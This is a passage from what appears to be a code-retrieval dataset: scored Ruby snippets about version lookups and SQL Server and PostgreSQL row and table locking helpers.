"text": "def last_version\n versions&.first&.dig(:number)\n end",
"title": ""
},
{
"docid": "b282cad6bc99baed090762528ce3162c",
"score": "0.5861636",
"text": "def get_version\n return @version\n end",
"title": ""
},
{
"docid": "b1d2e00c7c617327a9cb67736a2f85fd",
"score": "0.5859951",
"text": "def version_obj\n version_cache.version_obj ||= begin\n if version_cache.wanted_version_number\n obj = versions.\n where(:number => version_cache.wanted_version_number).first\n unless obj || version_cache.self_version || version_cache.existing_version_wanted\n # versions.to_a # TODO: prefetch versions before building a new one?\n obj = versions.build({\n :number => version_cache.wanted_version_number,\n :versioned_attributes => versioned_attributes,\n :created_at => updated_at_was\n })\n end\n obj\n else\n editing_time = self.class.versioning_options[:editing_time]\n if !editing_time || version_updated_at <= (Time.now-editing_time.to_i) || updated_at > Time.now # allow future versions\n versions.build(:created_at => updated_at_was)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a8db9cfc23de9723a8dc670a1287dffc",
"score": "0.5852065",
"text": "def version\n @version || LATEST_VERSION\n end",
"title": ""
},
{
"docid": "3dff19eea1a9a0a06e4736821d8b3712",
"score": "0.58498883",
"text": "def news_latest\n news(latest: true)\n end",
"title": ""
},
{
"docid": "e357d7d8fd5ea79d1c1d7be87701125c",
"score": "0.58476096",
"text": "def current_version\n versions.last || nil\n end",
"title": ""
},
{
"docid": "d6ae4d4ade97f366f21c24e2b2fab407",
"score": "0.58356416",
"text": "def latest_version_id(persistent_id)\n Node.version_ids(persistent_id).first\n end",
"title": ""
},
{
"docid": "14414ca652f144c6194d7ffc5d69f87a",
"score": "0.5828889",
"text": "def edit\n @article = Article.find params[:id]\n @categories = Category.all\n @version = @article.versions.last.dup\n end",
"title": ""
},
{
"docid": "6ce582d17b09d6ee34433c8f77d943b0",
"score": "0.58171445",
"text": "def show\n if params[:ver].present?\n @article = PaperTrail::Version.find(params[:ver]).reify\n @comments = @article.comments\n @article_file = ArticleFile.new\n @article_files = @article.article_files\n else\n @comments = @article.comments\n @article_file = ArticleFile.new\n @article_files = @article.article_files\n end\n end",
"title": ""
},
{
"docid": "6d799f0629771fd8547a8a455defc843",
"score": "0.5813231",
"text": "def version\n @version ||= case new_resource.version.to_s\n when '', 'latest' then LATEST_VERSION\n else new_resource.version\n end\n end",
"title": ""
},
{
"docid": "8a45c2e58d1436c74249640473e4ac9c",
"score": "0.58055234",
"text": "def latest\n each do |release|\n return release if release.stable || release.prerelease\n end\n nil\n end",
"title": ""
},
{
"docid": "f9d784f0e2a83164a52e9e1a2129a9b5",
"score": "0.58053285",
"text": "def [](version)\n Release.new(versions.fetch(version))\n end",
"title": ""
},
{
"docid": "8d807604e66c74d76d085fa4fb183142",
"score": "0.58052087",
"text": "def draft\n @version_object = PageVersion.find_draft_for_page(self.page)\n\n unless @page_version\n @version_object = PageVersion.create_draft_for_page(self.page)\n end\n \n @version_object\n end",
"title": ""
},
{
"docid": "f87844b913c0c0bbd902d9b7b41f2d88",
"score": "0.5803938",
"text": "def full_version\n @full_version\n end",
"title": ""
},
{
"docid": "1cb9a77607493c23d30472fdc33d57fb",
"score": "0.58038527",
"text": "def latest_version\n result = bintray_get(\"#{options.channel}/#{bintray_product_name}/versions/_latest\")\n result[\"name\"]\n end",
"title": ""
},
{
"docid": "9eb1bed3a6f8726e1c244e613fec8a7f",
"score": "0.5794973",
"text": "def get_revision(revision_number)\n SubversionRevision.new(revision_number, self)\n end",
"title": ""
},
{
"docid": "701be63351dc4f28fa763787a7988ab8",
"score": "0.57896096",
"text": "def latest_pact_publication\n pact_publications.last\n end",
"title": ""
},
{
"docid": "701be63351dc4f28fa763787a7988ab8",
"score": "0.57896096",
"text": "def latest_pact_publication\n pact_publications.last\n end",
"title": ""
},
{
"docid": "701be63351dc4f28fa763787a7988ab8",
"score": "0.57896096",
"text": "def latest_pact_publication\n pact_publications.last\n end",
"title": ""
},
{
"docid": "63d938b2e3571b2f8890abd57533def9",
"score": "0.57891124",
"text": "def latest_episode\n self.episodes.find(:first, :conditions => \"published_on <= NOW()\", :order => \"published_on DESC\")\n end",
"title": ""
},
{
"docid": "ee679f1c4b25388cde06b684f33024d6",
"score": "0.5783436",
"text": "def show\n old_version_pub_dates\n end",
"title": ""
},
{
"docid": "0b7368724c5fb507b0e9b1addbead67e",
"score": "0.578297",
"text": "def version\n return last_version if versionable?\n version_number\n end",
"title": ""
},
{
"docid": "c7a31cd4e560b4415bbfb850f06f2bb9",
"score": "0.5768958",
"text": "def find_last_version\n self.class.\n where(:_id => id).\n any_of({ :version => version }, { :version => nil }).first\n end",
"title": ""
},
{
"docid": "ece6d3d156d55fd9a05ac8ac0c208ad7",
"score": "0.57659006",
"text": "def revision\n deployment.real_release\n end",
"title": ""
},
{
"docid": "d28ae711d76d25f3b68125abd26f4cb2",
"score": "0.5756939",
"text": "def latest_version\n @latest_version ||= with_cache(file_name) { downloads.keys.max }\n end",
"title": ""
},
{
"docid": "4e564c120514af98ccc6c39457734fe2",
"score": "0.57548475",
"text": "def revision\n changed? ? current_revision : revisions.last\n end",
"title": ""
},
{
"docid": "4e564c120514af98ccc6c39457734fe2",
"score": "0.57548475",
"text": "def revision\n changed? ? current_revision : revisions.last\n end",
"title": ""
},
{
"docid": "451ea899ab45958f8b40a0b758bfeac1",
"score": "0.5750377",
"text": "def latest_version\n @latest_version ||= begin\n # Versions before 70 do not have a LATEST_RELEASE file\n return normalize_version('2.41') if release_version < normalize_version('70')\n\n latest_applicable = with_cache(file_name) { latest_point_release(release_version) }\n\n Webdrivers.logger.debug \"Latest version available: #{latest_applicable}\"\n normalize_version(latest_applicable)\n end\n end",
"title": ""
},
{
"docid": "451ea899ab45958f8b40a0b758bfeac1",
"score": "0.5750377",
"text": "def latest_version\n @latest_version ||= begin\n # Versions before 70 do not have a LATEST_RELEASE file\n return normalize_version('2.41') if release_version < normalize_version('70')\n\n latest_applicable = with_cache(file_name) { latest_point_release(release_version) }\n\n Webdrivers.logger.debug \"Latest version available: #{latest_applicable}\"\n normalize_version(latest_applicable)\n end\n end",
"title": ""
},
{
"docid": "cdca7e32c7804b111d27ae424bd32b09",
"score": "0.5749498",
"text": "def current\n self.versioned? ? self.versions.current.instance : self\n end",
"title": ""
},
{
"docid": "8459dc9134734576a23e9c574b07f699",
"score": "0.57310164",
"text": "def get_version()\n @version\n end",
"title": ""
}
] |
dbcb02ce8743528352b0dbc0298a09ea
|
SQLServer Helpers attr_reader :select_statement_lock
|
[
{
"docid": "82a209aa38174d62c3acec3fa6f0028e",
"score": "0.89503306",
"text": "def select_statement_lock\n Thread.current[:'Arel::Visitors::SQLServerNG.select_statement_lock']\n end",
"title": ""
}
] |
[
{
"docid": "3bd8295d8f9e968d42f30f9f2b6d9851",
"score": "0.740702",
"text": "def select_lock_sql(sql)\n @opts[:lock] == :update ? sql : super\n end",
"title": ""
},
{
"docid": "5db4208f51bc11b5fc005d7cceb93c03",
"score": "0.7344462",
"text": "def select_lock_sql(sql)\n lock = @opts[:lock]\n if lock == :share\n sql << ' FOR SHARE'\n else\n super\n end\n\n if lock\n if @opts[:skip_locked]\n sql << \" SKIP LOCKED\"\n elsif @opts[:nowait]\n sql << \" NOWAIT\"\n end\n end\n end",
"title": ""
},
{
"docid": "fa41cf25b4df02de7d015b584343994f",
"score": "0.65594083",
"text": "def add_lock!( sql, options )\n sql\n end",
"title": ""
},
{
"docid": "03f8234a7ff20467f74f600ee1216791",
"score": "0.645201",
"text": "def add_lock!(sql, options)\n if (lock = options[:lock]) && sql =~ /\\A\\s*SELECT/mi\n # Check for and extract the :limit/:offset sub-query\n if sql =~ /\\A(\\s*SELECT t\\.\\* FROM \\()(.*)(\\) AS t WHERE t._row_num BETWEEN \\d+ AND \\d+\\s*)\\Z/m\n prefix, subselect, suffix = [$1, $2, $3]\n add_lock!(subselect, options)\n return sql.replace(prefix + subselect + suffix)\n end\n unless sql =~ SELECT_FROM_WHERE_RE\n # If you get this error, this driver probably needs to be fixed.\n raise NotImplementedError, \"Don't know how to add_lock! to SQL statement: #{sql.inspect}\"\n end\n select_clause, from_word, from_tables, where_clause = $1, $2, $3, $4\n with_clause = lock.is_a?(String) ? \" #{lock} \" : \" WITH(ROWLOCK,UPDLOCK) \"\n\n # Split the FROM clause into its constituent tables, and add the with clause after each one.\n new_from_tables = []\n scanner = StringScanner.new(from_tables)\n until scanner.eos?\n prev_pos = scanner.pos\n if scanner.scan_until(/,|(INNER\\s+JOIN|CROSS\\s+JOIN|(LEFT|RIGHT|FULL)(\\s+OUTER)?\\s+JOIN)\\s+/mi)\n join_operand = scanner.pre_match[prev_pos..-1]\n join_operator = scanner.matched\n else\n join_operand = scanner.rest\n join_operator = \"\"\n scanner.terminate\n end\n\n # At this point, we have something like:\n # join_operand == \"appointments \"\n # join_operator == \"INNER JOIN \"\n # or:\n # join_operand == \"appointment_details AS d1 ON appointments.[id] = d1.[appointment_id]\"\n # join_operator == \"\"\n if join_operand =~ /\\A(.*)(\\s+ON\\s+.*)\\Z/mi\n table_spec, on_clause = $1, $2\n else\n table_spec = join_operand\n on_clause = \"\"\n end\n\n # Add the \"WITH(ROWLOCK,UPDLOCK)\" option to the table specification\n table_spec << with_clause unless table_spec =~ /\\A\\(\\s*SELECT\\s+/mi # HACK - this parser isn't so great\n join_operand = table_spec + on_clause\n\n # So now we have something like:\n # join_operand == \"appointments WITH(ROWLOCK,UPDLOCK) \"\n # join_operator == \"INNER JOIN \"\n # or:\n # join_operand == \"appointment_details AS d1 WITH(ROWLOCK,UPDLOCK) ON appointments.[id] = d1.[appointment_id]\"\n # join_operator == \"\"\n\n new_from_tables << join_operand\n new_from_tables << join_operator\n end\n sql.replace( select_clause.to_s << from_word.to_s << new_from_tables.join << where_clause.to_s )\n end\n sql\n end",
"title": ""
},
{
"docid": "0e8c0b5365653ef10780bd7f25f744d8",
"score": "0.63672245",
"text": "def add_lock!(sql, options)\n case lock = options[:lock]\n when true; sql << ' FOR UPDATE'\n when String; sql << \" #{lock}\"\n end\n end",
"title": ""
},
{
"docid": "c80a8b083d4db0f277313794996e7bf5",
"score": "0.6328276",
"text": "def add_lock!(sql, options)\n sql\n end",
"title": ""
},
{
"docid": "93cac9b1eb6389a41d47b7a096f669be",
"score": "0.6206513",
"text": "def locks\n sql = %q(\n select\n pg_stat_activity.procpid,\n pg_class.relname,\n pg_locks.transactionid,\n pg_locks.granted,\n substr(pg_stat_activity.current_query,1,30) as query_snippet,\n age(now(),pg_stat_activity.query_start) as \"age\"\n from pg_stat_activity,pg_locks left\n outer join pg_class on (pg_locks.relation = pg_class.oid)\n where pg_stat_activity.current_query <> '<insufficient privilege>' and\n pg_locks.pid=pg_stat_activity.procpid and pg_locks.mode = 'ExclusiveLock' order by query_start)\n\n exec_sql(sql, find_uri)\n end",
"title": ""
},
{
"docid": "8bc2cf44e9f0e4a2305aefb758db89bd",
"score": "0.614852",
"text": "def select_one(sql, *bindvars)\n ret = nil\n thread = Thread.new { ret = super }\n thread.join\n ret\n rescue Interrupt\n self.break\n raise\n end",
"title": ""
},
{
"docid": "c92c63ce45e49abddda8c56c8d838eb9",
"score": "0.6068205",
"text": "def visit_Arel_Nodes_Lock(o, a = nil)\n # SQL Layer does not support row locks\n end",
"title": ""
},
{
"docid": "594d48c49049a50e901acbc0a9dd1924",
"score": "0.592898",
"text": "def locks\n dataset.from(:pg_class).join(:pg_locks, :relation=>:relfilenode).select{[pg_class[:relname], Sequel::SQL::ColumnAll.new(:pg_locks)]}\n end",
"title": ""
},
{
"docid": "50183f4e78f72f2868cb57adc0d0e559",
"score": "0.58861226",
"text": "def blocking\n sql = %q(\n select bl.pid as blocked_pid,\n ka.current_query as blocking_statement,\n now() - ka.query_start as blocking_duration,\n kl.pid as blocking_pid,\n a.current_query as blocked_statement,\n now() - a.query_start as blocked_duration\n from pg_catalog.pg_locks bl\n join pg_catalog.pg_stat_activity a\n on bl.pid = a.procpid\n join pg_catalog.pg_locks kl\n join pg_catalog.pg_stat_activity ka\n on kl.pid = ka.procpid\n on bl.transactionid = kl.transactionid and bl.pid != kl.pid\n where not bl.granted)\n\n exec_sql(sql, find_uri)\n end",
"title": ""
},
{
"docid": "5af5fd330d0d86084f1e7656a5e88476",
"score": "0.58500385",
"text": "def select_and_lock(relation, limit:)\n relation = upcoming(relation)\n\n # FOR UPDATE SKIP LOCKED selects and locks entries, but skips those that\n # are already locked - preventing this transaction from being locked.\n sql = relation.to_sql + \" FOR UPDATE SKIP LOCKED\"\n sql += \" LIMIT #{limit}\" if limit\n\n item_class.find_by_sql(sql)\n end",
"title": ""
},
{
"docid": "6e8c773486c74142f82ee9f56507628f",
"score": "0.58287346",
"text": "def prepared_statement(name)\n Sequel.synchronize{prepared_statements[name]}\n end",
"title": ""
},
{
"docid": "b63f1651b274b41efb1324b3775b7f76",
"score": "0.5788576",
"text": "def acquire_lock(dbconn_reports_transaction,get_or_release, reports_or_recovery_string)\n begin\n if get_or_release == ACQUIRE_LOCK\n @lock_obj = dbconn_reports_transaction.select_one(\"SELECT IS_FREE_LOCK('#{reports_or_recovery_string}')\" )\n if @lock_obj[0] == 1\n @get_lock_stat = dbconn_reports_transaction.select_one(\"SELECT GET_LOCK('#{reports_or_recovery_string}',10)\")\n else\n executed = false\n begin # begin while loop\n #puts \"ROTATE LOOP\"\n @lock_obj = dbconn_reports_transaction.select_one(\"SELECT IS_FREE_LOCK('#{reports_or_recovery_string}')\" )\n if @lock_obj[0] == 1\n executed = true \n @get_lock_stat = dbconn_reports_transaction.select_one(\"SELECT GET_LOCK('#{reports_or_recovery_string}',10)\")\n else\n executed = false\n end # end of @lock_obj[0] == 1 inside begin loop\n sleep(0.1)\n end while (executed == false) \n end # end of @lock_obj[0] == 1\n return @get_lock_stat[0]\n elsif get_or_release == RELEASE_LOCK\n #puts \"RELEASE lock method\"\n dbconn_reports_transaction.select_one(\"SELECT RELEASE_LOCK('#{reports_or_recovery_string}')\")\n end \n rescue Exception =>e\n puts \"Error in ClassName: AnalyticsDataReducer MethodName: acquire_lock ErrInfo:#{e.to_s}\" \n end\n end",
"title": ""
},
{
"docid": "80852bb3e32120a87d200e26a1778fff",
"score": "0.5748142",
"text": "def lock_type\n @lock_type ||= :mysql\n end",
"title": ""
},
{
"docid": "caeb2b1b1aef0bbd158e5c72febf1142",
"score": "0.5684617",
"text": "def select(select)\n @query = select.statement\n end",
"title": ""
},
{
"docid": "ba237285109abc2ed6886237f91da43e",
"score": "0.56825626",
"text": "def lock(mode, &block)\n sql = LOCK % [source_list(@opts[:from]), mode]\n @db.synchronize do\n if block # perform locking inside a transaction and yield to block\n @db.transaction {@db.execute(sql); yield}\n else\n @db.execute(sql) # lock without a transaction\n self\n end\n end\n end",
"title": ""
},
{
"docid": "e2611ea363008c8058c80e6841c94caf",
"score": "0.5679427",
"text": "def try_await_lock(table, i); end",
"title": ""
},
{
"docid": "beddfb6049942abc978c303339031460",
"score": "0.56209457",
"text": "def select(&block); end",
"title": ""
},
{
"docid": "fb769b2b490491faabbf4d6ae7e12adf",
"score": "0.5593011",
"text": "def statement_timeout; end",
"title": ""
},
{
"docid": "63f76f44b54814b0a81af4efc1376a48",
"score": "0.5539392",
"text": "def lock(mode, &block)\n sql = LOCK % [@opts[:from], mode]\n @db.synchronize do\n if block # perform locking inside a transaction and yield to block\n @db.transaction {@db.execute(sql); yield}\n else\n @db.execute(sql) # lock without a transaction\n self\n end\n end\n end",
"title": ""
},
{
"docid": "60838a71e0bbeaa8fc08236ee661790b",
"score": "0.54937017",
"text": "def with_database_exclusive_table_lock_postgresql(&block)\n # If we just use the regular :sanitize_sql support, we get:\n # LOCK TABLE 'foo'\n # ...which, for whatever reason, PostgreSQL doesn't like. Escaping it this way works fine.\n escaped = @low_card_model.connection.quote_table_name(@low_card_model.table_name)\n run_sql(\"LOCK TABLE #{escaped}\", { })\n block.call\n end",
"title": ""
},
{
"docid": "a0540a894f22a079069b60babf65080e",
"score": "0.54771656",
"text": "def select(sql)\n raise(ArgumentError, \"Bad sql parameter\") unless sql.kind_of?(String)\n\n client = ensure_connected\n\n Pod4.logger.debug(__FILE__){ \"select: #{sql}\" }\n query = client.execute(sql)\n\n rows = []\n query.each do |r| \n\n if block_given? \n rows << yield(r)\n else\n rows << r\n end\n\n end\n\n query.cancel \n rows\n\n rescue => e\n handle_error(e)\n end",
"title": ""
},
{
"docid": "c8a5c6294d8e25a1671e16b08fd6ed91",
"score": "0.54616976",
"text": "def sql_state; end",
"title": ""
},
{
"docid": "17386ec0e1799b7c32d59d709efdba3c",
"score": "0.5403156",
"text": "def acquire_read_lock(java_entity)\n end",
"title": ""
},
{
"docid": "9f96b12bc3255bb0c94b2dce491e21bb",
"score": "0.5386517",
"text": "def statement_timeout=(_arg0); end",
"title": ""
},
{
"docid": "c9bd49ec2293b4fde5640361858ba06e",
"score": "0.53817713",
"text": "def select!(&block); end",
"title": ""
},
{
"docid": "8f108b15648b2f7cab2bcbee25fe1253",
"score": "0.53746605",
"text": "def prepare(query)\n sth = nil\n mutex.synchronize do\n self.last_query = query\n sth = new_statement(query)\n yield sth if block_given?\n sth.finish if block_given?\n end\n\n return self.last_statement = sth\n end",
"title": ""
},
{
"docid": "db67814761c785eb70662b67b32491b5",
"score": "0.537454",
"text": "def try_lock\n end",
"title": ""
},
{
"docid": "e87bfba403098c973e406db512a50c00",
"score": "0.53624785",
"text": "def sql_state; jdbc_exception ? jdbc_exception.getSQLState : nil end",
"title": ""
},
{
"docid": "9d69e566ed69fbe204fe0483a22e7f2e",
"score": "0.53609914",
"text": "def raw_select(sql, name = 'SQL', binds = [], options = {})\n log(sql, name, binds) { _raw_select(sql, options) }\n end",
"title": ""
},
{
"docid": "4d6f46593b4cc7289710a86ae34e99ca",
"score": "0.53587687",
"text": "def synchronize_resultset; end",
"title": ""
},
{
"docid": "f3c0dd56407bfad85f8ef6aa32b50db3",
"score": "0.5341764",
"text": "def statement_timeout\n self.class.statement_timeout || default_statement_timeout\n end",
"title": ""
},
{
"docid": "2f54f1dea44af6a59d15190b0ae7b640",
"score": "0.5338777",
"text": "def lock(mode, opts=OPTS)\n if defined?(yield) # perform locking inside a transaction and yield to block\n @db.transaction(opts){lock(mode, opts); yield}\n else\n sql = 'LOCK TABLE '.dup\n source_list_append(sql, @opts[:from])\n mode = mode.to_s.upcase.strip\n unless LOCK_MODES.include?(mode)\n raise Error, \"Unsupported lock mode: #{mode}\"\n end\n sql << \" IN #{mode} MODE\"\n @db.execute(sql, opts)\n end\n nil\n end",
"title": ""
},
{
"docid": "ceedba838df1c63ffe4f4b461a15ac27",
"score": "0.5308653",
"text": "def execute(sql, opts=OPTS, &block)\n synchronize(opts[:server]){|c| _execute(c, sql, opts, &block)} \n end",
"title": ""
},
{
"docid": "d641af2f6b544a8dea4afd84c481452c",
"score": "0.53068614",
"text": "def lock_token\n return lock_token_warning unless orm_object.class.column_names.include?(\"lock_version\")\n @lock_token ||=\n Valkyrie::Persistence::OptimisticLockToken.new(\n adapter_id: resource_factory.adapter_id,\n token: orm_object.lock_version\n )\n end",
"title": ""
},
{
"docid": "782316b8a20e291f7bbcc6df8b3cd3a3",
"score": "0.5305827",
"text": "def nolock\n clone(:table_options => \"(NOLOCK)\")\n end",
"title": ""
},
{
"docid": "af346c64c7cde0db202637bbd1ed8942",
"score": "0.5304316",
"text": "def select\n execute_only(:select)\n end",
"title": ""
},
{
"docid": "dfcbbdacc400658359cc3d7cce4b217b",
"score": "0.5303842",
"text": "def set_lock\n klass = self.class\n lock_column_name = klass.locking_column\n\n if has_attribute?(lock_column_name) && klass.parent_relation_keys.count > 0\n criteria = klass.parent_relation_keys.inject({}) do |result, parent_key|\n result[parent_key] = read_attribute(parent_key)\n result\n end\n relation = klass.unscoped.where(criteria)\n\n sql = <<-SQL\n #{relation.select(\"COUNT(#{lock_column_name}) AS value, 0 sort_order\").to_sql}\n UNION\n #{relation.select(\"MAX(#{lock_column_name}) AS value, 1 sort_order\").to_sql}\n ORDER BY sort_order\n SQL\n\n result = klass.connection.execute(sql)\n current_count = result[0][\"value\"]\n current_max = result[1][\"value\"]\n\n lock_value = (current_count.to_s == \"0\" ? 0 : current_max.to_i + 1)\n\n write_attribute(lock_column_name, lock_value)\n end\n end",
"title": ""
},
{
"docid": "5dfb03c6a1f778ac3597c7d122aebaab",
"score": "0.5297059",
"text": "def select(&blk); end",
"title": ""
},
{
"docid": "435ec51293e0f5fc7b9e081e4382879f",
"score": "0.5294447",
"text": "def select; end",
"title": ""
},
{
"docid": "435ec51293e0f5fc7b9e081e4382879f",
"score": "0.5294447",
"text": "def select; end",
"title": ""
},
{
"docid": "142ce909655865f67dbfb137b1bd4f24",
"score": "0.52721083",
"text": "def select(*) end",
"title": ""
},
{
"docid": "8abce713fff499b9b870570af5769e87",
"score": "0.52629316",
"text": "def select(sql, name = nil)\n @connection.context.reset\n log(sql, name) do\n if normal_select?\n # If limit is not explicitly set, return all results.\n @logger.debug \"Setting row count to (#{@limit || 'off'})\" if @logger\n\n # Run a normal select\n @connection.set_rowcount(@limit || 0)\n @connection.sql(sql)\n else\n # Select into a temp table and prune results\n @logger.debug \"Selecting #{@limit + (@offset || 0)} or fewer rows into #artemp\" if @logger\n @connection.set_rowcount(@limit + (@offset || 0))\n @connection.sql_norow(sql) # Select into temp table\n @logger.debug \"Deleting #{@offset || 0} or fewer rows from #artemp\" if @logger\n @connection.set_rowcount(@offset || 0)\n @connection.sql_norow(\"delete from #artemp\") # Delete leading rows\n @connection.set_rowcount(0)\n @connection.sql(\"select * from #artemp\") # Return the rest\n end\n end\n\n rows = []\n if @connection.context.failed? or @connection.cmd_fail?\n raise StatementInvalid, \"SQL Command Failed for #{name}: #{sql}\\nMessage: #{@connection.context.message}\"\n else\n results = @connection.top_row_result\n if results && results.rows.length > 0\n fields = fixup_column_names(results.columns)\n results.rows.each do |row|\n hashed_row = {}\n row.zip(fields) { |cell, column| hashed_row[column] = cell }\n rows << hashed_row\n end\n end\n end\n @connection.sql_norow(\"drop table #artemp\") if !normal_select?\n @limit = @offset = nil\n return rows\n end",
"title": ""
},
{
"docid": "aec38ce7e7051fe20092581ae150317e",
"score": "0.5241576",
"text": "def synchronize_resultset(&proc)\n # make it reentrant\n return yield if defined?(@resultset_locked) && @resultset_locked == true\n\n return yield unless File.exist?(resultset_writelock)\n\n with_lock(&proc)\n end",
"title": ""
},
{
"docid": "c08c00886ecb2d8a142b4eef42af1837",
"score": "0.5234745",
"text": "def transaction\n @pool.hold do |conn|\n @transactions ||= []\n if @transactions.include? Thread.current\n return yield(conn)\n end\n conn.execute(SQL_BEGIN)\n begin\n @transactions << Thread.current\n result = yield(conn)\n conn.execute(SQL_COMMIT)\n result\n rescue => e\n conn.execute(SQL_ROLLBACK)\n raise e unless Error::Rollback === e\n ensure\n @transactions.delete(Thread.current)\n end\n end\n end",
"title": ""
},
{
"docid": "76e631b0777199adf4fdd73c44967931",
"score": "0.52297914",
"text": "def supports_locking?\n false #true\n end",
"title": ""
},
{
"docid": "911c23133cced75ffe0fac7879d23dda",
"score": "0.5222761",
"text": "def exclusive_schema_lock()\n check_return_code(PureHailDB.ib_schema_lock_exclusive(@trx_ptr))\n end",
"title": ""
},
{
"docid": "08e5a6a0390ac32f2bd6724f8a707df0",
"score": "0.52164775",
"text": "def locking_enabled?\n lock_optimistically && columns_hash[locking_column]\n end",
"title": ""
},
{
"docid": "f034adafe16fdde28997aa8f4a38da73",
"score": "0.52154654",
"text": "def with_database_exclusive_table_lock(&block)\n case @low_card_model.connection.class.name\n when /postgresql/i then with_database_exclusive_table_lock_postgresql(&block)\n when /mysql/i then with_database_exclusive_table_lock_mysql(&block)\n when /sqlite/i then with_database_exclusive_table_lock_sqlite(&block)\n else\n raise LowCardTables::Errors::LowCardUnsupportedDatabaseError, %{You asked for low-card IDs for one or more hashes specifying rows that didn't exist,\nbut, when we went to create them, we discovered that we don't know how to exclusively\nlock tables in your database. (This is very important so that we don't accidentally\ncreate duplicate rows.)\n\nYour database adapter's class name is '#{@low_card_model.connection.class.name}'; please submit at least\na bug report, or, even better, a patch. :) Adding support is quite easy, as long as you know the\nequivalent of 'LOCK TABLE'(s) in your database.}\n end\n end",
"title": ""
},
{
"docid": "6e7ff8d585dba27f2f480a0d1d809600",
"score": "0.5206876",
"text": "def current_lock_value\n lock_column_name = self.class.locking_column\n has_attribute?(lock_column_name) && read_attribute(lock_column_name).to_i\n end",
"title": ""
},
{
"docid": "1add8bf3225c1cf864fbd86b7a73e83e",
"score": "0.51983553",
"text": "def transaction\n @pool.hold do |conn|\n @transactions ||= []\n if @transactions.include? Thread.current\n return yield(conn)\n end\n log_info(SQL_BEGIN)\n conn.execute(SQL_BEGIN)\n begin\n @transactions << Thread.current\n yield(conn)\n rescue Exception => e\n log_info(SQL_ROLLBACK)\n conn.execute(SQL_ROLLBACK)\n raise e unless Error::Rollback === e\n ensure\n unless e\n log_info(SQL_COMMIT)\n conn.execute(SQL_COMMIT)\n end\n @transactions.delete(Thread.current)\n end\n end\n end",
"title": ""
},
{
"docid": "7569924e4ff0e0d7b2577cc89166ea0d",
"score": "0.51963747",
"text": "def locked_transaction(&block)\n unless connection.open_transactions.zero?\n raise \"locked_transaction cannot be called from within another transaction!\"\n end\n unsafe_locked_transaction do\n yield if block_given?\n end\n end",
"title": ""
},
{
"docid": "d5539bb8b8f57207d429b177ccbc9384",
"score": "0.5177897",
"text": "def select(&block)\n @select = block if block\n @select\n end",
"title": ""
},
{
"docid": "6ba44fb8173926357bb1823356115c98",
"score": "0.5176006",
"text": "def exec(sql, *bindvars, &block)\n ret = nil\n thread = Thread.new { ret = super }\n thread.join\n ret\n rescue Interrupt\n self.break\n raise\n end",
"title": ""
},
{
"docid": "5b344ed36092a29b0796d4f926afa739",
"score": "0.5173105",
"text": "def locked; end",
"title": ""
},
{
"docid": "5d543b9dcbf866650884e071852f4c35",
"score": "0.5155319",
"text": "def without_locking(&block)\n current = ActiveRecord::Base.lock_optimistically\n ActiveRecord::Base.lock_optimistically = false if current\n begin\n block.call\n ensure\n ActiveRecord::Base.lock_optimistically = true if current\n end\n end",
"title": ""
},
{
"docid": "8f8f7f72b1dd825b1863755591812662",
"score": "0.5143502",
"text": "def set_prepared_statement(name, ps)\n Sequel.synchronize{prepared_statements[name] = ps}\n end",
"title": ""
},
{
"docid": "83f75b7a013a464f945e8b35f02693ee",
"score": "0.5138381",
"text": "def acquire_lock(lock_name)\n begin\n acquired = false\n sql = lock_query(lock_name)\n connection.query(sql) do |result|\n acquired = result.fetch_row.first == \"1\"\n end\n acquired\n rescue ::Exception\n false\n end\n end",
"title": ""
},
{
"docid": "814102cad56331baa540707a83016964",
"score": "0.5134231",
"text": "def acquire_lock\n\t\t@@logger.info { \"Acquiring a lock in the database.\" } if have_logger?\n\t\tTournament.dataset.filter(:id => self.id, :locked => false).update(:locked => true) != 0\n\tend",
"title": ""
},
{
"docid": "77739d38a1e3492a5ade25b18e4b9f08",
"score": "0.51332945",
"text": "def return_lock\n\t\t@@logger.info { \"Returning the lock to the database.\" } if have_logger?\n\t\tTournament.dataset.filter(:id => self.id, :locked => true).update(:locked => false) != 0\n\tend",
"title": ""
},
{
"docid": "669aed2391c3a4a11cc1bdc708079f66",
"score": "0.512535",
"text": "def with_database_exclusive_table_lock_sqlite(&block)\n block.call\n end",
"title": ""
},
{
"docid": "8aec03033bc8e126b7bed3aafccb4060",
"score": "0.5125143",
"text": "def with_advisory_lock_connection\n pool = ::ActiveRecord::ConnectionAdapters::ConnectionHandler.new.establish_connection(\n ::ActiveRecord::Base.connection_db_config.configuration_hash.except(:prefer_secondary)\n )\n\n pool.with_connection { |connection| yield(connection) } # rubocop:disable Style/ExplicitBlockArgument\n ensure\n pool&.disconnect!\n end",
"title": ""
},
{
"docid": "c06100572a53784b7eead738cd7da8d7",
"score": "0.51250374",
"text": "def query(sql)\n if Fiber.respond_to? :current and Fiber.current[:neverblock]\t\t \n send_query sql\n @fiber = Fiber.current\t\t \n Fiber.yield \n else\t\t \n super(sql)\n end\t\t\n end",
"title": ""
},
{
"docid": "604469ef506744394505b228f61c29c4",
"score": "0.5124621",
"text": "def get_lock_id\n @lock_id\n end",
"title": ""
},
{
"docid": "8ccc122403f8acfcd77afaa69f5f3704",
"score": "0.51186806",
"text": "def max_select_wait_time; end",
"title": ""
},
{
"docid": "604cb6f5d65e9c6421844abe511aca01",
"score": "0.5117373",
"text": "def select_wrapping_block\n buffer_current.select_wrapping_block\n update_status_line\n end",
"title": ""
},
{
"docid": "fb127afb655b22988cea794c54e71aff",
"score": "0.51132405",
"text": "def lock; end",
"title": ""
},
{
"docid": "fb127afb655b22988cea794c54e71aff",
"score": "0.51132405",
"text": "def lock; end",
"title": ""
},
{
"docid": "fb127afb655b22988cea794c54e71aff",
"score": "0.51132405",
"text": "def lock; end",
"title": ""
},
{
"docid": "ed1da9857e15ae53982782e999f67822",
"score": "0.51105845",
"text": "def do_LOCK(req, res)\n end",
"title": ""
},
{
"docid": "a2747355162c714d7307b23b8e3828d0",
"score": "0.5099785",
"text": "def select(sql, name = nil, binds = [])\n hash_query(sql, name, binds)\n end",
"title": ""
},
{
"docid": "791ff5d805d4c4f6081c2f972b571d83",
"score": "0.50955564",
"text": "def _insert_select_raw(ds)\n if use_prepared_statements_for?(:insert_select)\n if ps = model.send(:prepared_insert_select, @values.keys)\n _set_prepared_statement_server(ps).call(@values)\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "65072e29d18dfae81452a5526a827b19",
"score": "0.50825715",
"text": "def perform(options = {}, &block)\n @record.transaction do\n @record.class.lock('FOR UPDATE NOWAIT').find(@record.id)\n yield\n end\n rescue\n nil\n end",
"title": ""
},
{
